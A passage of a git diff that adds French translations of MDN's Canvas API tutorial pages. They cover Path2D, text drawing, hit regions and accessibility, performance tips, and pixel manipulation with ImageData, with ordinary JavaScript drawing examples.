+  ctx.quadraticCurveTo(x + largeur, y + hauteur, x + largeur, y + hauteur - rayon);
+  ctx.lineTo(x + largeur, y + rayon);
+  ctx.quadraticCurveTo(x + largeur, y, x + largeur - rayon, y);
+  ctx.lineTo(x + rayon,y);
+  ctx.quadraticCurveTo(x, y, x, y + rayon);
+  ctx.stroke();
+}
+
+
+ +

L'image résultante ressemble à ce qui suit :

+ +
+

{{EmbedLiveSample("Combiner_les_possibilités", 160, 160)}}

+ +

Nous ne l'expliquerons pas plus en détails, du fait que c'est étonnament simple. Les choses les plus importantes à noter sont l'utilisation de la propriété fillStyle sur le contexte du dessin, et l'utilisation d'une fonction utilitaire dans ce cas, rectArrondi()). L'utilisation de fonctions utilitaires pour des éléments de dessin que vous faites souvent peut être très utile, et peut réduire la quantité de code dont vous avez besoin, ainsi que sa complexité.

+ +

Nous reviendrons sur fillStyle plus en détail plus loin dans ce tutoriel. Pour l'instant, tout ce que nous faisons est de l'utiliser pour changer en blanc la couleur pour les trajets depuis la couleur noire par défaut, et inversement ensuite.

+
+
+ +

Objets Path2D

+ +

Comme nous l'avons vu dans le dernier exemple, il peut y avoir une série de trajets et d'instructions de dessin pour dessiner des objets sur votre canevas. Pour simplifier le code et améliorer les performances, l'objet {{domxref("Path2D")}}, disponible dans les versions récentes des navigateurs, vous permet de mettre en cache ou d'enregistrer ces instrucions de dessin. Vous pourrez alors rejouer vos trajets rapidement.
+ Voyons comment nous pouvons construire un objet Path2D :

+ +
+
{{domxref("Path2D.Path2D", "Path2D()")}}
+
Le constructor Path2D() retourne un objet Path2D nouvellement instancié, optionellement avec un autre trajet comme argument (crée une copie), ou optionellement avec une chaîne constituée de données de trajet SVG.
+
+ +
new Path2D();     // objet trajet vide
+new Path2D(trajet); // copie depuis un autre objet Path2D
+new Path2D(d);    // trajet depuis des données de trajet SVG
+ +

Toutes les méthodes de trajet telles que moveTo, rect, arc ou quadraticCurveTo, etc., que nous avons appris à connaître ci-dessus, sont disponibles sur les objets Path2D.

+ +

L'API Path2D ajoute aussi une manière de combiner des trajets en utilisant la méthode addPath. Cela peut être utile quand vous voulez contruire des objets à partir de plusieurs composants, par exemple.

+ +
+
{{domxref("Path2D.addPath", "Path2D.addPath(trajet [, transformation])")}}
+
Ajoute un trajet, au trajet en cours, avec une matrice de transformation.
+
+ +

Exemple de Path2D

+ +

Dans cet exemple, on crée un rectangle et un cercle. Tous deux sont stockés comme des objets Path2D, de sorte qu'ils sont disponibles pour un usage ultérieur. Avec la nouvelle API Path2D, plusieurs méthodes ont été mises à jour pour accepter optionnellement un objet Path2D à utiliser au lieu du trajet en cours. Ici, stroke et fill sont utilisés avec un argument de trajet pour dessiner les deux objets sur le canevas, par exemple.

+ + + +
function dessiner() {
+  var canevas = document.getElementById('canvas');
+  if (canevas.getContext){
+    var ctx = canevas.getContext('2d');
+
+    var rectangle = new Path2D();
+    rectangle.rect(10, 10, 50, 50);
+
+    var cercle = new Path2D();
+    cercle.moveTo(125, 35);
+    cercle.arc(100, 35, 25, 0, 2 * Math.PI);
+
+    ctx.stroke(rectangle);
+    ctx.fill(cercle);
+  }
+}
+ +

{{EmbedLiveSample("Exemple_de_Path2D", 130, 110, "https://mdn.mozillademos.org/files/9851/path2d.png")}}

+ +

Utilisation de trajets SVG

+ +

Une autre fonctionnalité puissante de la nouvelle API Path2D de canevas est l'utilisation de données de trajet SVG pour initialiser des trajets sur votre canevas. Cela peut vous permettre de faire circuler des données de trajet et les réutiliser, à la fois en SVG et dans un canevas.

+ +

Le trajet se déplacera au point (M10 10) et se déplacera alors de 80 points horizontalement vers la droite (h 80), ensuite de 80 points vers le bas (v 80), puis de 80 points vers la gauche (h -80), et reviendra alors au départ (z). Vous pouvez voir cet exemple sur la page du constructeur Path2D.

+ +
var p = new Path2D("M10 10 h 80 v 80 h -80 Z");
+ +

{{PreviousNext("Tutoriel_canvas/Utilisation_de_base", "Tutoriel_canvas/Ajout_de_styles_et_de_couleurs")}}

diff --git a/files/fr/web/api/canvas_api/tutorial/drawing_text/index.html b/files/fr/web/api/canvas_api/tutorial/drawing_text/index.html new file mode 100644 index 0000000000..761b5baf3d --- /dev/null +++ b/files/fr/web/api/canvas_api/tutorial/drawing_text/index.html @@ -0,0 +1,161 @@ +--- +title: Dessin de texte avec canvas +slug: Web/API/Canvas_API/Tutoriel_canvas/Dessin_de_texte_avec_canvas +tags: + - Canvas + - Graphismes + - HTML + - Tutoriels +translation_of: Web/API/Canvas_API/Tutorial/Drawing_text +--- +

{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Ajout_de_styles_et_de_couleurs", "Tutoriel_canvas/Utilisation_d'images")}}

+ +

Après avoir vu comment appliquer les styles et les couleurs dans le chapitre précédent, nous allons maintenant voir comment dessiner du texte sur canvas.

+ +

Dessin de texte

+ +

  Le contexte de rendu du canevas fournit deux méthodes pour le rendu du texte :

+ +
+
{{domxref("CanvasRenderingContext2D.fillText", "fillText(text, x, y [, maxWidth])")}}
+
Remplit un texte donné à la position (x, y). Facultatif, avec une largeur maximale à dessiner.
+
{{domxref("CanvasRenderingContext2D.strokeText", "strokeText(text, x, y [, maxWidth])")}}
+
Trait d'un texte donné à la position (x, y). Facultatif, avec une largeur maximale à dessiner.
+
+ +

Un exemple fillText

+ +

Le texte est rempli en utilisant le fillStyle actuel.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.font = '48px serif';
+  ctx.fillText('Hello world', 10, 50);
+}
+ + + +

{{EmbedLiveSample("A_fillText_example", 310, 110)}}

+ +

Un exemple de strokeText

+ +

Le texte est rempli en utilisant le strokeStyle courant.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.font = '48px serif';
+  ctx.strokeText('Hello world', 10, 50);
+}
+ + + +

{{EmbedLiveSample("A_strokeText_example", 310, 110)}}

+ +

Style de texte

+ +

Dans les exemples ci-dessus, nous utilisons déjà la propriété de police pour rendre le texte un peu plus grand que la taille par défaut. Il existe d'autres propriétés qui vous permettent d'ajuster la façon dont le texte est affiché sur le canevas :

+ +
+
{{domxref("CanvasRenderingContext2D.font", "font = value")}}
+
Le style de texte actuel utilisé lors du dessin du texte. Cette chaîne utilise la même syntaxe que la propriété CSS {{cssxref ("font")}}. La police par défaut est 10px sans-serif.
+
{{domxref("CanvasRenderingContext2D.textAlign", "textAlign = value")}}
+
Paramètre d'alignement du texte. Valeurs possibles : start (début), end (fin), left (gauche), right (droite) ou center (centre). La valeur par défaut est start.
+
{{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline = value")}}
+
Paramètre d'alignement de base. Valeurs possibles : top (haut), hanging (suspendu), middle (moyen), alphabetic (alphabétique), ideographic (idéographique), bottom (en bas). La valeur par défaut est alphabetic.
+
{{domxref("CanvasRenderingContext2D.direction", "direction = value")}}
+
Directionnalité. Valeurs possibles: ltr (de gauche à droite), rtl (de droite à gauche), inherit (hérité). La valeur par défaut est inherit.
+
+ +

Ces propriétés peuvent vous être familières si vous avez déjà travaillé avec CSS.

+ +

Le diagramme suivant du WHATWG illustre les différentes lignes de base prises en charge par la propriété textBaseline.

+ +

The top of the em square is +roughly at the top of the glyphs in a font, the hanging baseline is +where some glyphs like आ are anchored, the middle is half-way +between the top of the em square and the bottom of the em square, +the alphabetic baseline is where characters like Á, ÿ, +f, and Ω are anchored, the ideographic baseline is +where glyphs like 私 and 達 are anchored, and the bottom +of the em square is roughly at the bottom of the glyphs in a +font. The top and bottom of the bounding box can be far from these +baselines, due to glyphs extending far outside the em square.

+ +

Un exemple de textBaseline

+ +

Modifiez le code ci-dessous et visualisez vos mises à jour en direct dans le canevas :

+ +
ctx.font = '48px serif';
+ctx.textBaseline = 'hanging';
+ctx.strokeText('Hello world', 0, 100);
+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Mesures de texte avancées

+ +

Dans le cas où vous avez besoin d'obtenir plus de détails sur le texte, la méthode suivante vous permet de le mesurer.

+ +
+
{{domxref("CanvasRenderingContext2D.measureText", "measureText()")}}
+
Retourne un objet {{domxref("TextMetrics")}} contenant la largeur en pixels, sur la base duquel le texte spécifié sera dessiné dans le style de texte actuel.
+
+ +

L'extrait de code suivant montre comment vous pouvez mesurer un texte et obtenir sa largeur.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var text = ctx.measureText('foo'); // objet TextMetrics
+  text.width; // 16;
+}
+ +

Notes spécifiques à Gecko

+ +

Dans Gecko (le moteur de rendu de Firefox, Firefox OS et d'autres applications basées sur Mozilla), certaines API préfixées ont été implémentées dans des versions antérieures pour dessiner du texte sur un canevas. Ceux-ci sont maintenant déconseillés et supprimés, et leur fonctionnement n'est pas garanti.

+ +

{{PreviousNext("Tutoriel_canvas/Ajout_de_styles_et_de_couleurs", "Tutoriel_canvas/Utilisation_d'images")}}

diff --git a/files/fr/web/api/canvas_api/tutorial/hit_regions_and_accessibility/index.html b/files/fr/web/api/canvas_api/tutorial/hit_regions_and_accessibility/index.html new file mode 100644 index 0000000000..59a4d1ce35 --- /dev/null +++ b/files/fr/web/api/canvas_api/tutorial/hit_regions_and_accessibility/index.html @@ -0,0 +1,97 @@ +--- +title: Hit regions and accessibility +slug: Web/API/Canvas_API/Tutoriel_canvas/Hit_regions_and_accessibility +translation_of: Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility +--- +
{{CanvasSidebar}} {{ PreviousNext("Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas", "Web/API/Canvas_API/Tutorial/Optimizing_canvas") }}
+ +
L'élément {{HTMLElement("canvas")}} lui-même est juste un bitmap et ne fourni aucune information sur les objets dessinés. Le contenu des canvas n'est pas sujet aux outils d'accessibility comme l'est la sémantique HTML. En général vous devriez éviter d'utiliser les canvas sur les sites ou les applications accessibles. Le marche à suivre suivante peut vous aider à les rendre plus accessibles.
+ +

Moyen de repli

+ +

Le contenu à l'intérieur d'un tag <canvas> ... </canvas> peut être utilisé comme moyen de secours pour les navigteurs qui ne supportent pas le rendu de canvas. C'est aussi très utile pour les utilisateurs qui utilisent des technologies adaptées (comme les lecteurs d'écran) qui peuvent lire et interpréter les éléments du DOM. Un bon exemple sur html5accessibility.com demontre comment cela peut être fait.

+ +
<canvas>
+  <h2>Shapes</h2>
+  <p>A rectangle with a black border.
+   In the background is a pink circle.
+   Partially overlaying the <a href="http://en.wikipedia.org/wiki/Circle" onfocus="drawCircle();" onblur="drawPicture();">circle</a>.
+   Partially overlaying the circle is a green
+   <a href="http://en.wikipedia.org/wiki/Square" onfocus="drawSquare();" onblur="drawPicture();">square</a>
+   and a purple <a href="http://en.wikipedia.org/wiki/Triangle" onfocus="drawTriangle();" onblur="drawPicture();">triangle</a>,
+   both of which are semi-opaque, so the full circle can be seen underneath.</p>
+</canvas>
+ +

Jetez un oeil à la video comment NVDA lit cet exemple par Steve Faulkner (en anglais).

+ +

Les règles ARIA

+ +

Accessible Rich Internet Applications (ARIA) (≈ Les applications Internet Accessibles Riches) défini des pistes pour rendre le contenu Web et les applications Web plus accessibles pour les personnes ayant un handicap. Vous pouvez utiliser les attributs ARIA pour decrire le comportement et le but de vos éléments canvas. Allez voir ARIA et les techniques ARIA pour plus d'informations.

+ +
<canvas id="button" tabindex="0" role="button" aria-pressed="false" aria-label="Start game"></canvas>
+
+ +

Zones cibles (hit Region)

+ +

Que les coordonnés de la souris soient dans une zone particulière des canvas, est un problème fréquent à résoudre. L'API de la "hit region" vous permet de definir une zone de votre canvas et offre une autre possibilité pour proposer du contenu interactif dans les canvas a destination des outils d'accessibilité. Il permet de rendre la "hit detection" plus simple easier and vous laisser envoyer des événements aux éléments du DOM. L'API a les trois methodes suivantes (qui sont encore expérimentales dans les navigateurs actuel ; reportez-vous au tableau des comptibilités des navigateurs).

+ +
+
{{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}}
+
Ajoute une "hit region" au canvas..
+
{{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}}
+
Supprime la "hit region" avec l'id spécifiée venant du canvas.
+
{{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}}
+
Retire toutes les "hit regions" du cnavas.
+
+ +

Vous pouvez ajouter une "hit region" à votre chemin et vérifier la propriété {{domxref("MouseEvent.region")}} pour tester si votre souris entre dans votre région, par exemple.

+ +
<canvas id="canvas"></canvas>
+<script>
+var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.arc(70, 80, 10, 0, 2 * Math.PI, false);
+ctx.fill();
+ctx.addHitRegion({id: 'circle'});
+
+canvas.addEventListener('mousemove', function(event) {
+  if (event.region) {
+    alert('hit region: ' + event.region);
+  }
+});
+</script>
+ +

La méthode addHitRegion() accepte aussi une option de control pour envoyer des événement vers un élément (c'est un enfant des canvas):

+ +
ctx.addHitRegion({control: element});
+ +

Cela peut être utile pour le routage d'éléments {{HTMLElement("input")}}, par exemple. Regardez aussi codepen demo.

+ +

Focus rings

+ +

Quand on travaille avec le clavier, focus rings (anneaux de mise au point) sont utilies pour aider dans la navigation sur une page. Pour dessiner des "focus ring" dans un dessin de canvas, la propriété drawFocusIfNeeded peut être utilisée.

+ +
+
{{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}} {{experimental_inline}}
+
Si un élément donné est ciblé, cette méthode dessine un anneaud de mise ne valeur autoure du chemin courant.
+
+ +

De plus, la méthode scrollPathIntoView() peut être utilisée pour rendre visible un élément dans une page s'il est ciblé, par exemple.

+ +
+
{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}} {{experimental_inline}}
+
Affiche le chemin courant ou le chemin donné.
+
+ +

See also

+ + + +
{{ PreviousNext("Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas", "Web/API/Canvas_API/Tutorial/Optimizing_canvas") }}
diff --git a/files/fr/web/api/canvas_api/tutorial/index.html b/files/fr/web/api/canvas_api/tutorial/index.html new file mode 100644 index 0000000000..a430b361bd --- /dev/null +++ b/files/fr/web/api/canvas_api/tutorial/index.html @@ -0,0 +1,52 @@ +--- +title: Tutoriel canvas +slug: Web/API/Canvas_API/Tutoriel_canvas +tags: + - Canvas + - Guide + - HTML + - Tutoriel_canvas + - Tutoriels +translation_of: Web/API/Canvas_API/Tutorial +--- +
{{CanvasSidebar}}
+ +

+ +

<canvas> est un nouvel élément HTML qui peut être utilisé pour dessiner des éléments graphiques à l'aide de scripts (habituellement JavaScript). Il permet par exemple de dessiner des graphiques, de réaliser des compositions de photographies ou des animations simples (voire pas si simples). Les images à droite montrent quelques exemples d'implémentations utilisant <canvas> que nous verrons plus tard dans ce tutoriel.

+ +

Ce tutoriel explique comment utiliser l'élément <canvas> pour dessiner des graphiques 2D, en commençant par les bases. Les exemples fournis devraient vous donner des idées claires sur ce que vous pouvez faire avec la toile et fournir des extraits de code qui peuvent vous aider à créer votre propre contenu.

+ +

D'abord introduit dans WebKit par Apple pour le tableau de bord OS X, <canvas> a depuis été implémenté dans les navigateurs. Aujourd'hui, tous les principaux navigateurs le prennent en charge.

+ +

Avant de commencer

+ +

L'utilisation de l'élément <canvas> n'a rien de très compliqué, mais nécessite tout de même une compréhension de base de HTML et JavaScript. L'élément <canvas> n'est pas reconnu par tous les vieux navigateurs, mais il est supporté par les versions les plus récentes des principaux. La taille par défaut de canvas est 300 px × 150 px (largeur × hauteur). Mais les tailles personnalisées peuvent être définies à l'aide des propriétés HTML height et width. Afin de dessiner des graphiques sur canvas , nous utilisons un objet de contexte JavaScript, qui crée des graphiques à la volée.

+ +

Dans ce tutoriel

+ + + +

Voir aussi

+ + + +

{{ Next("Tutoriel_canvas/Utilisation_de_base") }}

diff --git a/files/fr/web/api/canvas_api/tutorial/optimizing_canvas/index.html b/files/fr/web/api/canvas_api/tutorial/optimizing_canvas/index.html new file mode 100644 index 0000000000..d8e6e8383c --- /dev/null +++ b/files/fr/web/api/canvas_api/tutorial/optimizing_canvas/index.html @@ -0,0 +1,112 @@ +--- +title: Optimiser les Canvas +slug: Web/API/Canvas_API/Tutoriel_canvas/Optimizing_canvas +translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}
+ +
+

L'élément {{HTMLElement("canvas")}} est l'un des standards les plus utilisés pour le rendu graphique 2D sur le web. Il est surtout utilisé dans les jeux et les visualisations complexes. Cependant, les sites et applications web poussent les canvas à leurs limites, et les performances commencent à en pâtir. Cet article propose des suggestions pour optimiser votre utilisation de l'élément canvas, et pour être certain que votre site ou application web fonctionne bien.

+
+ +

Conseils sur les performances

+ +

Ceci est une liste de conseils pour améliorer les performances

+ +

Pré-rendre les primitifs similaires ou répéter les objects dans un canvas hors-champ

+ +

Si vous avez besoin d'ajouter un dessin complexe identique à chaque image rendue, préférez l'utilisation d'un canvas hors-champ, le rendre une fois (ou à chaque fois qu'il change) sur ce canvas, puis dessinez-le sur le canvas principal à chaque image rendue.

+ +
myEntity.offscreenCanvas = document.createElement("canvas");
+myEntity.offscreenCanvas.width = myEntity.width;
+myEntity.offscreenCanvas.height = myEntity.height;
+myEntity.offscreenContext = myEntity.offscreenCanvas.getContext("2d");
+
+myEntity.render(myEntity.offscreenContext);
+
+ +

Abandonnez les coordonnées décimales et utilisez des entiers à la place

+ +

Un rendu de sous-pixel est opéré quand on dessine des objets sur un canvas sans valeur entière.

+ +
ctx.drawImage(myImage, 0.3, 0.5);
+
+ +

Cela pousse le navigateur à faire des calculs supplémentaires pour créer un effet d'anti-crénelage. Pour empêcher cela, il faut s'assurer d'arrondir les coordonnées utilisées pour {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}.

+ +

Ne pas redimensionner d'images avec drawImage

+ +

Préférez mettre en cache plusieurs dimensions de votre image dans un canvas hors-champ au lieu de les redimensionner constamment avec {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}.

+ +

Utiliser des canvas empilés pour les scènes complexes

+ +

Pour des scènes complexes, on peut souvent remarquer que quelques éléments changent souvent tandis que d'autres ne changent jamais. Une optimisation possible dans ce cas consiste à utiliser plusieurs calques sous forme de canvas empilés.

+ +

Par exemple, on peut créer un calque UI, dessiné au-dessus de tous les autres uniquement lorsque l'utilisateur accède à un menu. En dessous, un calque jeu où les entités du jeu sont souvent mises à jour. Et, à l'arrière, un calque de fond rarement modifié.

+ +
<div id="stage">
+  <canvas id="ui-layer" width="480" height="320"></canvas>
+  <canvas id="game-layer" width="480" height="320"></canvas>
+  <canvas id="background-layer" width="480" height="320"></canvas>
+</div>
+
+<style>
+  #stage {
+    width: 480px;
+    height: 320px;
+    position: relative;
+    border: 2px solid black
+  }
+  canvas { position: absolute; }
+  #ui-layer { z-index: 3 }
+  #game-layer { z-index: 2 }
+  #background-layer { z-index: 1 }
+</style>
+
+ +

Du CSS pour les grandes images de fond

+ +

Si comme pour la plupart des jeux, vous utilisez une image de fond statique, préférez utiliser un simple {{HTMLElement("div")}} en dessous du canvas avec les propriétés CSS {{cssxref("background")}} appropriées. Cela vous évitera de redessiner une grande image dans le canvas à chaque tick.

+ +

Redimensionner les canvas avec CSS transform

+ +

Les transformations CSS sont plus rapides car elles utilisent le GPU. Le mieux est d'utiliser un canvas plus grand et de réduire sa taille. Pour Firefox OS, les dimensions sont de 480 x 320 px.

+ +
var scaleX = window.innerWidth / canvas.width;
+var scaleY = window.innerHeight / canvas.height;
+
+var scaleToFit = Math.min(scaleX, scaleY);
+var scaleToCover = Math.max(scaleX, scaleY);
+
+stage.style.transformOrigin = "0 0"; //scale from top left
+stage.style.transform = "scale(" + scaleToFit + ")";
+
+ +

Utiliser l'attribut moz-opaque (Gecko only)

+ +

Si le canvas n'a pas besoin de transparence, ajouter l'attribut moz-opaque dans la balise canvas. Cette information peut être utilisée par le navigateur pour optimiser le rendu.

+ +
<canvas id="mycanvas" moz-opaque></canvas>
+ +

D'autres conseils

+ +
    +
  • Regrouper les appels canevas (par exemple, dessiner un chemin de plusieurs lignes plutôt que plusieurs lignes séparées).
    • +
  • Éviter de refaire un rendu si ce n'est pas nécessaire.
    • +
  • Rendre uniquement les différences, pas tout le canvas.
    • +
  • Éviter la propriété {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}} quand c'est possible.
    • +
  • Empêcher le rendu de texte quand c'est possible.
    • +
  • Essayer différents moyens d'effacer le canvas : ({{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}} vs. {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} vs. redimensionner le canevas).
    • +
  • Avec les animations, utiliser {{domxref("window.requestAnimationFrame()")}} plutôt que {{domxref("window.setInterval()")}}.
    • +
  • Faire attention aux bibliothèques physiques lourdes.
    • +
  • Tester les performances avec JSPerf.
    • +
+ +

Voir aussi

+ + + +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}

diff --git a/files/fr/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html b/files/fr/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html new file mode 100644 index 0000000000..a2182f43c1 --- /dev/null +++ b/files/fr/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html @@ -0,0 +1,258 @@ +--- +title: Manipulation de pixels avec canvas +slug: Web/API/Canvas_API/Tutoriel_canvas/Pixel_manipulation_with_canvas +translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas +--- +
{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}
+ +
+

Jusqu'à présent, nous n'avons pas examiné dans le détail les pixels réels de notre canevas. Avec l'objet ImageData, vous pouvez directement lire et écrire dans le tableau de données de l'image, pour manipuler les pixels un par un. Nous verrons également comment le lissage (anticrénelage) de l'image peut être contrôlé et comment sauvegarder des images depuis votre canevas.

+
+ +

L'objet ImageData

+ +

L'objet {{domxref("ImageData")}} représente les données de pixels sous-jacentes à une zone d'un objet canevas. Il contient les attributs (en lecture seule) suivants :

+ +
+
width
+
La largeur de l'image en pixels.
+
height
+
La hauteur de l'image en pixels.
+
data
+
Un {{jsxref("Uint8ClampedArray")}} représentant un tableau monodimensionnel contenant les données dans l'ordre RVBA, ayant des valeurs entières entre 0 et  255 (inclus).
+
+ +

La propriété data retourne un tableau {{jsxref("Uint8ClampedArray")}} auquel on peut accéder pour voir plus en détail les données brutes des pixels ; chaque pixel est représenté par quatre valeurs sur un octet (rouge, vert, bleu et alpha, dans cet ordre ; c'est-à-dire, le format "RVBA").  Chaque composante de couleur est représentée par un entier entre 0 et 255. Chaque composante reçoit un indice à l'intérieur du tableau, la composante rouge du pixel supérieur gauche étant à l'indice 0 à l'intérieur du tableau. Les pixels continuent ensuite de gauche à droite, puis vers le bas, jusqu'au bout du tableau.

+ +

Le {{jsxref("Uint8ClampedArray")}} contient height(hauteur) × width(largeur)  × 4 octets, dont les valeurs d'indices vont de 0 à (height×width×4)-1.

+ +

Par exemple, pour lire la valeur de la composante bleue d'un pixel situé en colonne 200, ligne 50  de l'image, vous pouvez faire ce qui suit :

+ +
composanteBleue = imageData.data[((50 * (imageData.width * 4)) + (200 * 4)) + 2];
+ +

Vous pouvez accéder à la taille en octets du tableau de pixels en lisant l'attribut Uint8ClampedArray.length :

+ +
var nbOctets = imageData.data.length;
+
+ +

Création d'un objet ImageData

+ +

Pour créer un nouvel objet ImageData vierge, vous pouvez utiliser la méthode  {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}}. Il existe deux versions de la méthode createImageData() :

+ +
var monImageData = ctx.createImageData(largeur, hauteur);
+ +

Cela crée un nouvel objet ImageData avec les dimensions spécifiées. Tous les pixels sont prédéfinis comme étant noirs transparents.

+ +

Vous pouvez aussi créer un nouvel objet ImageData ayant les mêmes dimensions que celles de l'objet indiqué par autreImageData. Les pixels du nouvel objet sont tous prédéfinis comme étant noirs transparents. Cela ne copie pas les données d'image !

+ +
var monImageData = ctx.createImageData(autreImageData);
+ +

Obtention des données pixel pour un contexte

+ +

Pour obtenir un objet  ImageData contenant une copie des données pixel pour un contexte de canevas, vous pouvez utiliser la méthode getImageData() :

+ +
var monImageData = ctx.getImageData(gauche, haut, largeur, hauteur);
+ +

Cette méthode retourne un objet ImageData représentant les données pixel pour la zone du canevas dont les coins sont représentés par les points  (left,top) (gauche,haut), (left+width, top) (gauche+largeur, haut), (left, top+height) (gauche, haut+hauteur) et  (left+width, top+height) (gauche+largeur, haut+hauteur). Les coordonnées sont spécifiées en unités d'espace de coordonnées du canevas.

+ +
+

Note : Tous les pixels en dehors du canevas seront retournés comme noirs transparents dans l'objet ImageData résultant.

+
+ +

Cette méthode est aussi présentée dans l'article Manipulation vidéo utilisant canvas.

+ +

Une pipette à couleur

+ +

Dans cet exemple, nous utilisons la méthode getImageData() pour afficher la couleur en dessous du curseur de la souris. Pour cela, nous avons besoin de la position en cours de la souris donnée par layerX et layerY, nous recherchons ensuite les données pixel à cette position dans le tableau de pixels que getImageData() nous fournit. Finalement, nous utilisons les données du tableau pour définir une couleur d'arrière-plan et un texte dans le <div> pour afficher la couleur.

+ + + +
var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+img.onload = function() {
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+};
+var color = document.getElementById('color');
+function pick(event) {
+  var x = event.layerX;
+  var y = event.layerY;
+  var pixel = ctx.getImageData(x, y, 1, 1);
+  var data = pixel.data;
+  var rgba = 'rgba(' + data[0] + ', ' + data[1] +
+             ', ' + data[2] + ', ' + (data[3] / 255) + ')';
+  color.style.background =  rgba;
+  color.textContent = rgba;
+}
+canvas.addEventListener('mousemove', pick);
+ +

{{ EmbedLiveSample('A_color_picker', 610, 240) }}

+ +

Peinture des données pixel dans un contexte

+ +

Vous pouvez utiliser la méthode putImageData() pour peindre les données pixel dans un contexte :

+ +
ctx.putImageData(monImageData, dx, dy);
+
+ +

Les paramètres dx et dy indiquent les coordonnées système dans le contexte du coin supérieur gauche des données pixel qui doivent être peintes.

+ +

Par exemple, pour peindre l'image entière représentée par monImageData dans le coin supérieur gauche du contexte, vous pouvez simplement faire ce qui suit :

+ +
ctx.putImageData(monImageData, 0, 0);
+
+ +

Niveaux de gris et inversion de couleurs

+ +

Dans cet exemple, nous itérons sur tous les pixels pour changer leurs valeurs, puis nous remettons le tableau de pixels modifié sur le canevas à l'aide de putImageData(). La fonction inversion soustrait simplement chaque couleur de la valeur maximale 255. La fonction  grayscale (niveaux de gris) fait simplement la moyenne du rouge, du vert et du bleu. Vous pouvez également utiliser une moyenne pondérée, donnée par la formule x = 0.299r + 0.587v + 0.114b, par exemple. Voir Niveaux de gris sur Wikipedia pour plus d'informations.

+ + + +
var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+img.onload = function() {
+  dessiner(this);
+};
+
+function dessiner(img) {
+  var canevas = document.getElementById('canevas');
+  var ctx = canevas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+  var imageData = ctx.getImageData(0, 0, canevas.width, canevas.height);
+  var data = imageData.data;
+
+  var inversion = function() {
+    for (var i = 0; i < data.length; i += 4) {
+      data[i]     = 255 - data[i];     // rouge
+      data[i + 1] = 255 - data[i + 1]; // vert
+      data[i + 2] = 255 - data[i + 2]; // bleu
+    }
+    ctx.putImageData(imageData, 0, 0);
+  };
+
+  var niveaudegris = function() {
+    for (var i = 0; i < data.length; i += 4) {
+      var moy = (data[i] + data[i + 1] + data[i + 2]) / 3;
+      data[i]     = moy; // rouge
+      data[i + 1] = moy; // vert
+      data[i + 2] = moy; // bleu
+    }
+    ctx.putImageData(imageData, 0, 0);
+  };
+
+  var btninversion = document.getElementById('btninversion');
+  btninversion.addEventListener('click', inversion);
+  var btnniveaudegris = document.getElementById('btnniveaudegris');
+  btnniveaudegris.addEventListener('click', niveaudegris);
+}
+
+ +

{{ EmbedLiveSample('Grayscaling_and_inverting_colors', 330, 270) }}

+ +

Zoom et anticrénelage

+ +

A l'aide de la méthode {{domxref ("CanvasRenderingContext2D.drawImage", "drawImage ()")}}, un deuxième canevas, et la propriété {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} , nous pouvons zoomer sur notre image et voir les détails.

+ +

Nous obtenons la position de la souris et recadrons une image de 5 pixels à gauche et au-dessus à 5 pixels à droite et en-dessous. Ensuite, nous copions celle-ci sur un autre canevas et redimensionnons l'image à la taille que nous voulons. Dans la zone de zoom, nous redimensionnons une zone de 10 × 10 pixels du canevas d'origine à 200 × 200.

+ +
zoomctx.drawImage(canvas,
+                  Math.abs(x - 5), Math.abs(y - 5),
+                  10, 10, 0, 0, 200, 200);
+ +

Étant donné que l'anticrénelage est activé par défaut, nous pouvons désactiver le lissage pour voir les pixels clairs. Vous pouvez basculer la case à cocher pour voir l'effet de la propriété imageSmoothingEnabled (qui a besoin de préfixes pour différents navigateurs).

+ + + + + +
var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+img.onload = function() {
+  draw(this);
+};
+
+function draw(img) {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+  var zoomctx = document.getElementById('zoom').getContext('2d');
+
+  var smoothbtn = document.getElementById('smoothbtn');
+  var toggleSmoothing = function(event) {
